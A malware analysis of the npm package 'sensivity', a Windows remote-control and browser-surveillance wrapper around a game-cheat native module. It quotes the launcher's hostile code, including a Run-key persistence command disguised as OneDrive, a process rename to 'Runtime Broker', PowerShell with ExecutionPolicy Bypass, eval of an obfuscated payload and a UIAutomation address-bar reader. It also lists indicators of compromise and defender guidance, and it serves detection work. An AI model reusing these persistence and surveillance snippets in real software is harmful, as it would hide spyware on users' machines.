TL;DR
The npm package sensivity describes itself as a "Sensivity Control Panel." On Windows it behaves as a remote-control and surveillance tool.
Its entry point, launcher.js, renames its own process to Runtime Broker, writes an autostart Run-key value named OneDriveUpdate that relaunches the package through a hidden VBScript, spawns PowerShell with -ExecutionPolicy Bypass, and then evals a 171 KB obfuscated server payload alongside a 6.87 MB native module, sens.node.
It serves a phone-pairing control panel on TCP port 3000 and reads the active browser's address-bar URL through Windows UIAutomation, watching for one hard-coded YouTube video.
Two parts that earlier reads left as black boxes are now resolved. The obfuscated server, server.obf.js, uses an obfuscator.io RC4 string-array scheme; reimplementing its decoder offline (no JavaScript executed) recovers a single external endpoint — https://izopi.com/check.php — together with an embedded RSA public key used to verify signed license responses.
The native module, sens.node, is not packed: its import table and embedded strings identify it as a DirectX 11 / Dear ImGui in-game overlay providing aimbot, ESP (wall-hack), and triggerbot features, driven by remote-process injection and memory reads/writes.
Strings inside it reference vehicle entities and map locations consistent with GTA V / FiveM. The npm package is the delivery and persistence wrapper around that native module.
The defining signal is operational, not technical: a single anonymous publisher pushed roughly seventy versions of one package — 2.5.0 through 2.5.69 — across a few days, each carrying the same launcher.
There are no install hooks. The payload runs only when the package is started.
The Attack: How It Works
sensivity ships ten files. The package.json is sparse: no repository field, no license, a main and two bin aliases (sensivity, sens) all pointing at launcher.js, and a start script of node launcher.js. There is no postinstall or preinstall. Nothing fires on npm install. The behavior described below runs when a user starts the package — via the bin shim, the start script, or a require.
The tarball carries the launcher, an obfuscated server, the native module, a Visual Basic script, and a public/ web directory for the control panel. launcher.js is the readable orchestrator; the logic that matters at runtime lives in the two blobs it loads — an obfuscated server and a compiled native module, both resolved below.
Process masquerade and a fake OneDrive updater
Early in execution launcher.js sets its own process name twice:
javascript
process.title = 'Runtime Broker';
Runtime Broker is a legitimate Windows process (RuntimeBroker.exe) that mediates app permissions. Renaming a Node process to match it means a quick glance at Task Manager shows nothing unusual.
Persistence is written through PowerShell rather than a direct registry API:
javascript
execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
The autostart value is named OneDriveUpdate, and it does not point at the package directly. It points at wscript.exe running the bundled OneDrive.Standalone.Updater.vbs. That script relaunches node launcher.js in a hidden window. Both the Run-key name and the VBScript filename borrow Microsoft branding, so the autostart entry reads as a routine OneDrive task.
PowerShell with execution-policy bypass
The launcher repeatedly shells out to PowerShell. The sink that scanners flag as critical is the launch of a generated .ps1 with the execution policy disabled:
javascript
exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
ExecutionPolicy Bypass removes the local script-signing check for that invocation. The generated scripts handle the browser-surveillance and window-detection work described in the next section.
The obfuscated server and the native module
After setup, launcher.js loads and executes its real payload:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js is 171 KB of _0x-array obfuscation — the JavaScript pattern where every string and identifier is replaced by an index into a shuffled array, then de-referenced at runtime. The scheme is the RC4 variant produced by obfuscator.io: a single decoder function base64-decodes an array entry and then RC4-decrypts it with a per-call key. Reimplementing that decoder in a separate script — running only the re-implementation over the extracted 821-entry string array, never the package’s own JavaScript — unwinds it cleanly. What surfaces is modest but decisive: one external URL, https://izopi.com/check.php`, assigned to a LICENSE_URL constant; an embedded RSA PUBLIC_KEY_PEM`; the local panel routes /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, and /trigger/status; and the strings child_process, crypto, and [Sensivity] sens.node loaded — the last being the exact log line the launcher rewrites to program module loaded. The endpoint is a license check: the client posts an identifier (the obfuscated server formats a Discord ID: %s string) and the RSA key verifies the server’s signed response.
sens.node is a 6.87 MB compiled native addon, and it is not packed — section entropy sits at 5.6–6.6 and the PE import and export tables are intact, so its capabilities are readable directly. It exports napi_register_module_v1, the standard Node N-API entry point, so the eval’d server loads it with a plain require. Its import table is the tell. From KERNEL32 it pulls OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, and Process32First/NextW — the canonical set for locating another process, allocating memory inside it, and reading or writing that memory. From USER32 it pulls GetAsyncKeyState, GetKeyState, mouse_event, and SetCursorPos; it links d3d11.dll, D3DCOMPILER_43, and dwmapi for an on-screen overlay, and the full WINHTTP set for network calls. Its embedded strings name the feature set without ambiguity: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, and the Dear ImGui banner Dear ImGui 1.91.3 WIP. Location and entity strings such as Grapeseed Medical Clinic and the vehicle-ESP vocabulary are consistent with GTA V / FiveM.
The split is deliberate in effect: the readable launcher.js carries only the parts a scanner reads easily — persistence, masquerade, the eval call itself — while the obfuscation hides the one external host the runtime contacts, and the binary holds the game-overlay and process-injection logic. The launcher is the thin, auditable shell; the obfuscated server hides the network identity; the native module is the payload. We describe the binary’s imports and strings as read; we do not infer the operator’s purpose from them.
A phone-pairing control panel on port 3000
The launcher manages a local web server on TCP port 3000 and treats it as a singleton. It queries for an existing listener and clears it before binding:
javascript
execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 });
The panel is reachable at http://localhost:3000, with a hard-coded LAN fallback URL of http://192.168.1.16:3000. The public/ directory and the panel’s behavior are consistent with a QR-pairing flow: a phone scans a code and binds to the host as a remote. No external command-and-control domain appears in cleartext in the launcher — but, as the deobfuscation above shows, one is present in the obfuscated server: the izopi.com license endpoint. The panel itself is local and LAN-scoped; the only outbound host is that license check.
A detached supervisor/worker model keeps the process alive. The launcher re-spawns itself with SENSIVITY_SUPERVISOR and SENSIVITY_WORKER environment flags, each child running hidden, so killing one process leaves a watchdog to restart it.
Browser Surveillance and the YouTube Signal
The most specific behavior is browser monitoring. launcher.js builds PowerShell that drives Windows UIAutomation to read the address bar of a running browser:
javascript
'$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)',
ValuePattern returns the text content of a UI element. Applied to a browser’s address-bar edit control, it returns the URL the victim is currently viewing — without a browser extension, without touching the profile on disk, and without an API hook. The generated script iterates a $browserNames list and extracts the URL or window title of whichever browser is foreground.
That URL is tested against a single hard-coded target:
javascript
const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw';
The launcher polls on a three-second loop for a browser window showing YouTube, and the generated PowerShell carries a Get-YouTubeBrowser / Test-TargetYouTubeUrl pair that matches against that video ID. The observable effect is twofold: the active browsing URL is read off the victim’s screen, and the host’s interaction with one specific YouTube video is detected. We describe the mechanism and the target; we do not infer a motive from them.
The address-bar read is what the scanner labels sensitive_data_enumeration — a Process::env and UIAutomation source feeding a network-capable runtime. It is benign-looking in isolation and only resolves to surveillance once the data lifecycle is traced from the UIAutomation source to the obfuscated server.
Timeline and Version Evolution
sensivity is not a one-shot upload. The publisher account has roughly seventy published versions of this single package, and new ones kept arriving during the review window. The launcher grows feature by feature across the 2.5.x line while its persistence and payload-loading stay fixed.
| Date (UTC) | Versions observed | Launcher state |
|---|---|---|
| 2026-06-02 | 2.5.8 – 2.5.46 (25) | Base QR-panel launcher; Run-key persistence; eval of obfuscated server. |
| 2026-06-03 | 2.5.53 – 2.5.61 (6) | Same fingerprint; console-trace suppression. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Adds pinned YouTube engagement target wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 – 2.5.69 (24) | Gap-filling republish across the range; supervisor/worker watchdog. |
Reading the launcher across downloaded representatives — 2.5.0, 2.5.36, and 2.5.69 — shows four tiers. The earliest builds carry the base QR-pairing launcher. From 2.5.33 the UIAutomation address-bar harvester appears. From 2.5.58 a supervisor-management layer is added. From 2.5.64 the detached supervisor/worker watchdog completes the set. Throughout, four things never change: the OneDriveUpdate Run key, the OneDrive.Standalone.Updater.vbs dropper, the eval’d server.obf.js, and the sens.node native module.
The 2026-06-05 wave is notable because it re-published the low version numbers — 2.5.0 through 2.5.15 — that sit below the versions confirmed days earlier. The effect is a contiguous 2.5.x line on the registry, every version carrying the same launcher.
Indicators of compromise
All indicators below were read directly from the package tarball. The readable launcher carries only loopback and a single private LAN address; the one external hostname, izopi.com, was recovered by deobfuscating server.obf.js offline.
| Type | Indicator | Notes |
|---|---|---|
| Package | npm:sensivity (≈70 versions, 2.5.0–2.5.69) | Single-package publisher; no repository; unlicensed. |
| File | launcher.js | Readable orchestrator; main and bin target. |
| File | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, loaded via eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Hidden relauncher (node launcher.js). |
| Network | https://izopi.com/check.php | License/auth endpoint recovered from the obfuscated server; embedded RSA public key verifies responses. |
| Capability | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Remote-process injection and memory read/write capability. |
| Capability | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui game overlay implementing aimbot, ESP, and triggerbot features. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Autostart value pointing at wscript.exe and the VBScript launcher. |
| Process | process.title = 'Runtime Broker' | Masquerades as the legitimate Windows Runtime Broker process. |
| Behavioral | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Execution-policy bypass used for generated PowerShell scripts. |
| Behavioral | UIAutomation ValuePattern read of browser address bar | Reads the URL of the foreground browser window. |
| Behavioral | Target video ID wJWta2lO0Lw; 3-second YouTube poll | Pinned engagement-monitoring signal. |
| Network | http://localhost:3000, fallback http://192.168.1.16:3000 | QR-pairing control panel exposed locally and on the LAN. |
| Environment | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Detached watchdog process coordination flags. |
Attribution, Impact, and Defenders
The package is published by a single npm account whose stated email is an unverified Gmail address. The account carries a deeply negative registry reputation score, maintains and publishes only this one package, and has no linked source repository. We have not verified ownership of the email and we attribute the campaign to the publisher account, not to any named individual. The launcher carries no cleartext infrastructure, but the one external host is now known: the obfuscated server contacts izopi.com for a license check, and the native module — read from its import table and strings rather than reversed instruction-by-instruction — is a game overlay that injects into and reads the memory of another process.
The observable impact falls on Windows users who install and run sensivity expecting a control-panel utility. On those hosts the package establishes autostart persistence disguised as a OneDrive task, renames itself to mimic a system process, reads the URL of whatever the user is browsing, and stands up a pairing panel that binds the machine to a remote over the local network. The supervisor/worker watchdog means a single process kill does not remove it; the Run-key entry survives reboots. macOS and Linux are not targeted by the launcher — the persistence, PowerShell, and UIAutomation paths are Windows-only.
The seventy-version churn is the trend worth flagging. Re-publishing one package dozens of times in a few days, including back-filling version numbers below those already taken down, keeps a live copy on the registry between removals and frustrates version-pinned blocklists. A blocklist entry for sensivity@2.5.61 does nothing against sensivity@2.5.3 republished the next day.
Defenders can act on the following:
- Block the package name sensivity outright in registry-proxy and CI allowlists. Pinning individual versions loses to the republish cadence; the name is the durable indicator.
- Hunt for a Run value named OneDriveUpdate whose data invokes wscript.exe against a .vbs in a per-user path. The genuine OneDrive updater is not registered this way.
- Alert on a Node.js process whose process.title is Runtime Broker. The real broker is RuntimeBroker.exe, not a Node runtime.
- Flag npm install-time fetches of packages that ship a compiled .node addon plus an eval(fs.readFileSync(…)) of a sibling .obf.js file. That pairing — opaque native binary loaded next to an obfuscated text payload — is the structural tell here, independent of any string IOC.
- Treat any locally-bound listener on port 3000 spawned by an unexpected Node process as suspect on managed Windows endpoints.
- Block or alert on outbound requests to izopi.com from developer or end-user hosts; it is the package’s only external endpoint, reached at /check.php from the obfuscated server.
- For any bundled .node addon, inspect its import table before trusting it. The combination OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread is remote-process injection regardless of what the package claims to do; here it sits next to a Direct3D overlay and aimbot/ESP/triggerbot strings.
For static-analysis pipelines, the conviction shape is durable across the version churn: a non-network install profile, a process-title assignment to a known system-process name, a Run-key write via PowerShell, and an eval of a file read from disk. None of those depend on a domain, an IP, or a version number that the next republish can rotate away.
References
[npm: sensivity] – registry page for the package version line discussed here; subject to takedown.




